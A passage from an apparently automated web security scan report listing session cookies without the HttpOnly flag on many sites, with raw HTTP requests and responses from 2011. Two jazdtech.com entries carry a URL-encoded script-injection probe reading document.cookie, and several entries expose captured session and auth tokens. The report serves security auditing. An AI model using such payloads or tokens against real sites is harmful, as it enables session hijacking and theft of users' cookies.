Confidence:	Firm
Host:	http://www.ebooklibs.com
Path:	/

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

PHPSESSID=960c78bbb1339e72b86aff1fa9dcfed2; path=/

The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET / HTTP/1.1
Host: www.ebooklibs.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

15.96. http://www.eweek.com/c/a/Web-Services-Web-20-and-SOA/eWeek-Newsbreak-Jan-20-2010/ previous next

Summary

Severity:	Low
Confidence:	Firm
Host:	http://www.eweek.com
Path:	/c/a/Web-Services-Web-20-and-SOA/eWeek-Newsbreak-Jan-20-2010/

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

sessioncookie=6592e20ed66425350eaa2f6c3e4daa4e; expires=Mon, 06-Feb-2012 16:06:55 GMT; path=/

The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

Response

15.97. http://www.eweek.com/c/a/Web-Services-Web-20-and-SOA/eWeek-Newsbreak-July-24-2009/ previous next

Summary

Severity:	Low
Confidence:	Firm
Host:	http://www.eweek.com
Path:	/c/a/Web-Services-Web-20-and-SOA/eWeek-Newsbreak-July-24-2009/

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

sessioncookie=2cce746131d60b910c10bb4c63d65ddd; expires=Mon, 06-Feb-2012 16:06:56 GMT; path=/

The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

Response

15.98. http://www.eweek.com/c/a/Windows/5-Reasons-Companies-Arent-Skipping-Vista/ previous next

Summary

Severity:	Low
Confidence:	Firm
Host:	http://www.eweek.com
Path:	/c/a/Windows/5-Reasons-Companies-Arent-Skipping-Vista/

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

sessioncookie=da48f05b6f143b09beb0b90db22ab5e4; expires=Mon, 06-Feb-2012 16:06:57 GMT; path=/

The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

Response

15.99. http://www.eweek.com/c/a/Windows/Ensuring-Smooth-Upgrade-Path-with-Windows-Vista/ previous next

Summary

Severity:	Low
Confidence:	Firm
Host:	http://www.eweek.com
Path:	/c/a/Windows/Ensuring-Smooth-Upgrade-Path-with-Windows-Vista/

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

sessioncookie=a46b6d20b5c938f43934df285f8d5d05; expires=Mon, 06-Feb-2012 16:06:58 GMT; path=/

The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

Response

15.100. http://www.eweek.com/c/a/Windows/How-to-Accurately-Plan-for-Windows-Server-2008-Hardware/ previous next

Summary

Severity:	Low
Confidence:	Firm
Host:	http://www.eweek.com
Path:	/c/a/Windows/How-to-Accurately-Plan-for-Windows-Server-2008-Hardware/

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

sessioncookie=4a30ee931774a07c8dcf29a311c59213; expires=Mon, 06-Feb-2012 16:06:59 GMT; path=/

The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

Response

15.101. http://www.eweek.com/c/s/Videos/ previous next

Summary

Severity:	Low
Confidence:	Firm
Host:	http://www.eweek.com
Path:	/c/s/Videos/

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

sessioncookie=e6f3c55c091c3db9d4c56a2652e95947; expires=Mon, 06-Feb-2012 16:07:01 GMT; path=/

The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /c/s/Videos/ HTTP/1.1
Host: www.eweek.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

15.102. http://www.filetransit.com/files.php previous next

Summary

Severity:	Low
Confidence:	Firm
Host:	http://www.filetransit.com
Path:	/files.php

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

PHPSESSID=b798f2d79978526c7191b6da15321c67; path=/

The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /files.php?name=Nslookup HTTP/1.1
Host: www.filetransit.com
Proxy-Connection: keep-alive
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 21:47:52 GMT
Server: Apache/2.2.17 (Unix) mod_ssl/2.2.17 OpenSSL/0.9.8e-fips-rhel5 PHP/5.2.16
X-Powered-By: PHP/5.2.16
Set-Cookie: PHPSESSID=b798f2d79978526c7191b6da15321c67; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-cache, no-store, max-age=0, must-revalidate, proxy-revalidate, no-transform
Pragma: no-cache
Vary: Accept-Encoding,User-Agent
Content-Type: text/html
Content-Length: 62859

<!doctype html public "-//w3c//dtd html 4.0 transitional//en">
<html>
<head>
<title>Nslookup Software - NSLookup, Atelier Web Security Port Scanner, DNS Thing ...</title>
<meta http-equiv="Con
...[SNIP]...

15.103. http://www.folkd.com/ previous next

Summary

Severity:	Low
Confidence:	Firm
Host:	http://www.folkd.com
Path:	/

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

PHPSESSID=a309b2b77d6ece816c352f933ed2e502; path=/

The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET / HTTP/1.1
Host: www.folkd.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

15.104. http://www.foxitsoftware.com/ previous next

Summary

Severity:	Low
Confidence:	Firm
Host:	http://www.foxitsoftware.com
Path:	/

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

PHPSESSID=914a9fe38a4b5095118baffd32c0e80e; path=/

The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET / HTTP/1.1
Host: www.foxitsoftware.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:04:57 GMT
Server: Apache/2.2.16 (Debian)
X-Powered-By: PHP/5.3.3-6
Set-Cookie: PHPSESSID=914a9fe38a4b5095118baffd32c0e80e; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding
Connection: close
Content-Type: text/html
Content-Length: 18754

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Conten
...[SNIP]...

15.105. http://www.gabbr.com/ previous next

Summary

Severity:	Low
Confidence:	Firm
Host:	http://www.gabbr.com
Path:	/

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

PHPSESSID=304129d4b1724f3749e7964432dbea27; path=/

The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET / HTTP/1.1
Host: www.gabbr.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

15.106. http://www.gpg.org/ previous next

Summary

Severity:	Low
Confidence:	Firm
Host:	http://www.gpg.org
Path:	/

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

SESS4f8b8e940bd1b5592aec2833218c244b=juq455no7avf4ohoeb33ho2n46; expires=Tue, 01-Mar-2011 01:39:59 GMT; path=/; domain=.gpg.org

The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET / HTTP/1.1
Host: www.gpg.org
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

15.107. http://www.hemidemi.com/ previous next

Summary

Severity:	Low
Confidence:	Firm
Host:	http://www.hemidemi.com
Path:	/

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

_session_id=66b150e6e745bd9b2dff53708f727cc0; path=/

The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET / HTTP/1.1
Host: www.hemidemi.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 23:02:14 GMT
Server: Mongrel 1.1.3
Status: 200 OK
Cache-Control: no-cache
Content-Type: text/html; charset=utf-8
Content-Length: 3576
Set-Cookie: _session_id=66b150e6e745bd9b2dff53708f727cc0; path=/
Vary: Accept-Encoding
Connection: close

<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="content-type" content="text/html; charset=UTF-8" />
<meta http-equiv="content-language" content="zh-tw" />

<title>H
...[SNIP]...

15.108. http://www.jamespot.com/ previous next

Summary

Severity:	Low
Confidence:	Firm
Host:	http://www.jamespot.com
Path:	/

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

PHPSESSID=d91b292d793955339277dc21d122a4a7; path=/

The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET / HTTP/1.1
Host: www.jamespot.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

15.109. http://www.jazdtech.com/techdirect/ previous next

Summary

Severity:	Low
Confidence:	Firm
Host:	http://www.jazdtech.com
Path:	/techdirect/

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

JazdSession="a60b5303-7988-48d1-88b3-467a83635a2c:1297008112717"; Version=1; Max-Age=3600; Expires=Sun, 06-Feb-2011 17:01:52 GMT; Path=/
JSESSIONID=90039B3D2C4BBD4CB6E1E02847F77216; Path=/
JazdTestCookie=1297008112717; Expires=Mon, 06-Feb-2012 16:01:52 GMT; Path=/

The highlighted cookies appear to contain session tokens, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /techdirect/ HTTP/1.1
Host: www.jazdtech.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

15.110. http://www.jazdtech.com/techdirect/content/download.htm previous next

Summary

Severity:	Low
Confidence:	Firm
Host:	http://www.jazdtech.com
Path:	/techdirect/content/download.htm

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

JazdSession="3b4eea85-b138-4e6f-b7b9-9e0d90c2cf6d:1297008537536"; Version=1; Max-Age=3600; Expires=Sun, 06-Feb-2011 17:09:28 GMT; Path=/

The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /techdirect/content/download.htm?contentSetId=60049707&contentId=60056832&contentSetTypeId=10&pageTypeId=1 HTTP/1.1
Host: www.jazdtech.com
Proxy-Connection: keep-alive
Referer: http://www.jazdtech.com/techdirect/?decf1%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E28f30fa12ca=1
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: JazdSession="3b4eea85-b138-4e6f-b7b9-9e0d90c2cf6d:1297008537536"; JazdTestCookie=1297008537536; JSESSIONID=F90B4442ACCB72FBEA93BBB1A2A1DEC7

Response

HTTP/1.1 200 OK
Date: Sun, 06 Feb 2011 16:09:28 GMT
Set-Cookie: JazdSession="3b4eea85-b138-4e6f-b7b9-9e0d90c2cf6d:1297008537536"; Version=1; Max-Age=3600; Expires=Sun, 06-Feb-2011 17:09:28 GMT; Path=/
Content-Disposition: inline; filename=banner1.gif
Content-Type: image/gif;charset=UTF-8
Content-Length: 9554

GIF89a..Z....Oou
..#. .......*,v..c.....1FI...Ebf'8:...............Y}..........;TX.........m...........ZWX...........$............1-.?;<...vsthef.........LIJ....*2.GM..................................
...[SNIP]...

15.111. http://www.jazdtech.com/techdirect/lg/logImpressions.htm previous next

Summary

Severity:	Low
Confidence:	Firm
Host:	http://www.jazdtech.com
Path:	/techdirect/lg/logImpressions.htm

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

JazdSession="3b4eea85-b138-4e6f-b7b9-9e0d90c2cf6d:1297008537536"; Version=1; Max-Age=3600; Expires=Sun, 06-Feb-2011 17:09:29 GMT; Path=/
JazdUser="3443253:1297008569223"; Version=1; Max-Age=31536000; Expires=Mon, 06-Feb-2012 16:09:29 GMT; Path=/

The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

POST /techdirect/lg/logImpressions.htm HTTP/1.1
Host: www.jazdtech.com
Proxy-Connection: keep-alive
Referer: http://www.jazdtech.com/techdirect/?decf1%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E28f30fa12ca=1
Origin: http://www.jazdtech.com
X-Requested-With: XMLHttpRequest
Content-Type: application/x-www-form-urlencoded
Accept: application/json, text/javascript, */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: JazdTestCookie=1297008537536; JSESSIONID=F90B4442ACCB72FBEA93BBB1A2A1DEC7; __utmz=259445777.1297008611.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/63; __utma=259445777.516903533.1297008611.1297008611.1297008611.1; __utmc=259445777; __utmb=259445777.1.10.1297008611; JazdSession="3b4eea85-b138-4e6f-b7b9-9e0d90c2cf6d:1297008537536"; _jsuid=5876149624996178797
Content-Length: 2198

data=PG5ldC5qYXpkLmRpcmVjdG9yeS5jb21tb25zLm1vZGVsLmltcHJlc3Npb25zLkltcHJlc3Npb25z%0ATG9nRGF0YT4KICA8cGFnZUltcHJlc3Npb24%2BNzYwNGZjYzktMzQ1OS00MmQ5LWE0NGYtOWM2NzFj%0AYWY5MDE2LDEsU3VuIEZlYiAwNiAxNjowODo
...[SNIP]...

Response

HTTP/1.1 200 OK
Date: Sun, 06 Feb 2011 16:09:29 GMT
Set-Cookie: JazdSession="3b4eea85-b138-4e6f-b7b9-9e0d90c2cf6d:1297008537536"; Version=1; Max-Age=3600; Expires=Sun, 06-Feb-2011 17:09:29 GMT; Path=/
Set-Cookie: JazdTestCookie=""; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/
Set-Cookie: JazdUser="3443253:1297008569223"; Version=1; Max-Age=31536000; Expires=Mon, 06-Feb-2012 16:09:29 GMT; Path=/
Content-Language: en-US
Content-Type: text/html
Content-Length: 20

{"result":"success"}

15.112. http://www.jumptags.com/ previous next

Summary

Severity:	Low
Confidence:	Firm
Host:	http://www.jumptags.com
Path:	/

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

CFID=145699893;expires=Mon, 28-Jan-2041 22:44:28 GMT;path=/
CFTOKEN=35433768;expires=Mon, 28-Jan-2041 22:44:28 GMT;path=/
JSESSIONID=843024df4b03d69705a621542d641822c252;path=/

The cookies appear to contain session tokens, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET / HTTP/1.1
Host: www.jumptags.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

15.113. http://www.linkatopia.com/ previous next

Summary

Severity:	Low
Confidence:	Firm
Host:	http://www.linkatopia.com
Path:	/

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

PHPSESSID=b0m32fe8ia2aj602f1o1q5f1r7; path=/

The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET / HTTP/1.1
Host: www.linkatopia.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

15.114. http://www.linkedin.com/ previous next

Summary

Severity:	Low
Confidence:	Firm
Host:	http://www.linkedin.com
Path:	/

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

JSESSIONID="ajax:6164122648378833163"; Version=1; Path=/
leo_auth_token="GST:ZTkdLLKZK_ggZRbY44T2FKTN6Eo_M0OV49kqXrkZrEol8AbriE_Vxr:1296946948:e68b5644f2e89cdd8b8600193a537cd5b3bca0ac"; Version=1; Max-Age=1799; Expires=Sat, 05-Feb-2011 23:32:27 GMT; Path=/
s_leo_auth_token="delete me"; Version=1; Max-Age=0; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/
bcookie="v=1&141e3dd9-2a20-4c3c-827f-21d17cd03532"; Version=1; Domain=linkedin.com; Max-Age=2147483647; Expires=Fri, 24-Feb-2079 02:16:35 GMT; Path=/
lang="v=2&lang=en"; Version=1; Domain=linkedin.com; Path=/

The highlighted cookies appear to contain session tokens, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET / HTTP/1.1
Host: www.linkedin.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

15.115. http://www.linkedin.com/companies/222438/OwnerIQ previous next

Summary

Severity:	Low
Confidence:	Firm
Host:	http://www.linkedin.com
Path:	/companies/222438/OwnerIQ

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

leo_auth_token="GST:ZQgw03ZYfQ00azc_JSdCZKQJd4K6alIZMZdC0MUYURk89UEZXdolwx:1296946949:65fdca8a090beb3f900ea530a9bab4f648ed93f8"; Version=1; Max-Age=1799; Expires=Sat, 05-Feb-2011 23:32:29 GMT; Path=/
s_leo_auth_token="delete me"; Version=1; Max-Age=0; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/
JSESSIONID="ajax:4713947493888160893"; Version=1; Path=/
bcookie="v=1&e6f1aaac-08d7-4426-85cc-9b3490cae2cf"; Version=1; Domain=linkedin.com; Max-Age=2147483647; Expires=Fri, 24-Feb-2079 02:16:37 GMT; Path=/
lang="v=2&lang=en&c="; Version=1; Domain=linkedin.com; Path=/

The highlighted cookies appear to contain session tokens, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /companies/222438/OwnerIQ HTTP/1.1
Host: www.linkedin.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

15.116. http://www.linkedin.com/groupInvitation previous next

Summary

Severity:	Low
Confidence:	Firm
Host:	http://www.linkedin.com
Path:	/groupInvitation

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

leo_auth_token="GST:USPcjVjh_OtiRy9WPlG0jPNXb0WyphkShZD0e7Nn60hypyfO-0CmKk:1296943603:1f5c383a1a62947997acc0a50d1873ded2a84670"; Version=1; Max-Age=1799; Expires=Sat, 05-Feb-2011 22:36:42 GMT; Path=/
s_leo_auth_token="delete me"; Version=1; Max-Age=0; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/
JSESSIONID="ajax:3497768082988792158"; Version=1; Path=/
bcookie="v=1&cd6dbf47-e6cf-4898-9bbd-b3e4bc5d6192"; Version=1; Domain=linkedin.com; Max-Age=2147483647; Expires=Fri, 24-Feb-2079 01:20:50 GMT; Path=/
lang="v=2&lang=en&c="; Version=1; Domain=linkedin.com; Path=/

The highlighted cookies appear to contain session tokens, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /groupInvitation HTTP/1.1
Host: www.linkedin.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
P3P: CP="CAO DSP COR CUR ADMi DEVi TAIi PSAi PSDi IVAi IVDi CONi OUR DELi SAMi UNRi PUBi OTRi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT POL PRE"
Expires: 0
Pragma: no-cache
Cache-control: no-cache, must-revalidate, max-age=0
Set-Cookie: leo_auth_token="GST:USPcjVjh_OtiRy9WPlG0jPNXb0WyphkShZD0e7Nn60hypyfO-0CmKk:1296943603:1f5c383a1a62947997acc0a50d1873ded2a84670"; Version=1; Max-Age=1799; Expires=Sat, 05-Feb-2011 22:36:42 GMT; Path=/
Set-Cookie: s_leo_auth_token="delete me"; Version=1; Max-Age=0; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/
Set-Cookie: JSESSIONID="ajax:3497768082988792158"; Version=1; Path=/
Set-Cookie: visit=G; Expires=Fri, 24-Feb-2079 01:20:50 GMT; Path=/
Set-Cookie: bcookie="v=1&cd6dbf47-e6cf-4898-9bbd-b3e4bc5d6192"; Version=1; Domain=linkedin.com; Max-Age=2147483647; Expires=Fri, 24-Feb-2079 01:20:50 GMT; Path=/
Set-Cookie: lang="v=2&lang=en&c="; Version=1; Domain=linkedin.com; Path=/
Content-Type: text/html;charset=UTF-8
Date: Sat, 05 Feb 2011 22:06:42 GMT
Set-Cookie: NSC_MC_QH_MFP=ffffffffaf19965b45525d5f4f58455e445a4a42198c;expires=Sat, 05-Feb-2011 22:36:58 GMT;path=/;httponly
Content-Length: 12878

<!DOCTYPE html>
<html lang="en">
<head>

<meta http-equiv="content-type" content="text/html; charset=UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=9">
<meta name="description" content="L
...[SNIP]...

15.117. http://www.lovely-faces.com/ previous next

Summary

Severity:	Low
Confidence:	Firm
Host:	http://www.lovely-faces.com
Path:	/

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

PHPSESSID=965ts4g3qv9nm1g1ubp8p7k021; path=/

The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET / HTTP/1.1
Host: www.lovely-faces.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 20:35:01 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: private, max-age=900, pre-check=900
Set-Cookie: PHPSESSID=965ts4g3qv9nm1g1ubp8p7k021; path=/
Last-Modified: Sat, 05 Feb 2011 09:23:34 GMT
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 30751

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=U
...[SNIP]...

15.118. http://www.manualsonline.com/privacy.html previous next

Summary

Severity:	Low
Confidence:	Firm
Host:	http://www.manualsonline.com
Path:	/privacy.html

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

memSessionId=59308638-3172-11e0-bdbb-0030485f67c6; expires=Mon, 07-Mar-2011 23:02:37 GMT; path=/; domain=.manualsonline.com

The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

Response

15.119. http://www.manualsonline.com/tc.html previous next

Summary

Severity:	Low
Confidence:	Firm
Host:	http://www.manualsonline.com
Path:	/tc.html

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

memSessionId=59308638-3172-11e0-bdbb-0030485f67c6; expires=Mon, 07-Mar-2011 23:02:38 GMT; path=/; domain=.manualsonline.com

The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

Response

15.120. http://www.merapakistan.com/directory/draw_list_prize_bond_draw_result_7500.html previous next

Summary

Severity:	Low
Confidence:	Firm
Host:	http://www.merapakistan.com
Path:	/directory/draw_list_prize_bond_draw_result_7500.html

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

PHPSESSID=dri464g5lu2kq9c1sqpg1v3c16; path=/

The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /directory/draw_list_prize_bond_draw_result_7500.html HTTP/1.1
Host: www.merapakistan.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

15.121. http://www.migrationexpertzone.com/ previous next

Summary

Severity:	Low
Confidence:	Firm
Host:	http://www.migrationexpertzone.com
Path:	/

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

sessioncookie=f0761fc32abac9fe9a816d768e40d8e0; expires=Mon, 06-Feb-2012 16:09:13 GMT; path=/

The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET / HTTP/1.1
Host: www.migrationexpertzone.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

15.122. http://www.mindbodygreen.com/ previous next

Summary

Severity:	Low
Confidence:	Firm
Host:	http://www.mindbodygreen.com
Path:	/

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

JSESSIONID=2808EAD77051D7744363EB0876447148; Path=/

The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET / HTTP/1.1
Host: www.mindbodygreen.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

15.123. http://www.mister-wong.com/ previous next

Summary

Severity:	Low
Confidence:	Firm
Host:	http://www.mister-wong.com
Path:	/

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

wongsess=e90cffbaa0823899fb24df43be3f65dd; expires=Wed, 06 Feb 2036 05:02:44 GMT; path=/

The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET / HTTP/1.1
Host: www.mister-wong.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

15.124. http://www.mylinkvault.com/ previous next

Summary

Severity:	Low
Confidence:	Firm
Host:	http://www.mylinkvault.com
Path:	/

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

PHPSESSID=os9t2670j382p7k3kipnt47et6; path=/; domain=.mylinkvault.com

The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET / HTTP/1.1
Host: www.mylinkvault.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

15.125. http://www.myspace.com/ previous next

Summary

Severity:	Low
Confidence:	Firm
Host:	http://www.myspace.com
Path:	/

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

SessionDDF2=TKve/VMQSRopDi6rum8Cuf4A/ccgoSma8SHWpbuTI+vd5A49FMvesHvx7OPJtzM9hJR6JKisfQH2F0HGZi7c1Q==; domain=.myspace.com; expires=Wed, 05-Feb-2031 23:02:51 GMT; path=/
MSCulture=IP=173.193.214.243&IPCulture=en-US&PreferredCulture=en-US&PreferredCulturePending=&Country=VVM=&ForcedExpiration=634325149713339390&timeZone=0&myStuffDma=&myStuffMarket=&USRLOC=QXJlYUNvZGU9MjE0JkNpdHk9RGFsbGFzJkNvdW50cnlDb2RlPVVTJkNvdW50cnlOYW1lPVVuaXRlZCBTdGF0ZXMmRG1hQ29kZT02MjMmTGF0aXR1ZGU9MzIuNzgyNSZMb25naXR1ZGU9LTk2LjgyMDcmUG9zdGFsQ29kZT03NTIwNyZSZWdpb25OYW1lPVRYJkxvY2F0aW9uSWQ9MA==&UserFirstVisit=1; domain=.myspace.com; expires=Sat, 12-Feb-2011 23:02:51 GMT; path=/

The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET / HTTP/1.1
Host: www.myspace.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

15.126. http://www.netlog.com/ previous next

Summary

Severity:	Low
Confidence:	Firm
Host:	http://www.netlog.com
Path:	/

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

PHPSESSID=609d50f12670471136b7bf2dccdd5120; path=/

The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET / HTTP/1.1
Host: www.netlog.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 302 Found
Date: Sat, 05 Feb 2011 23:02:51 GMT
Server: Apache/2.2.14
Set-Cookie: PHPSESSID=609d50f12670471136b7bf2dccdd5120; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
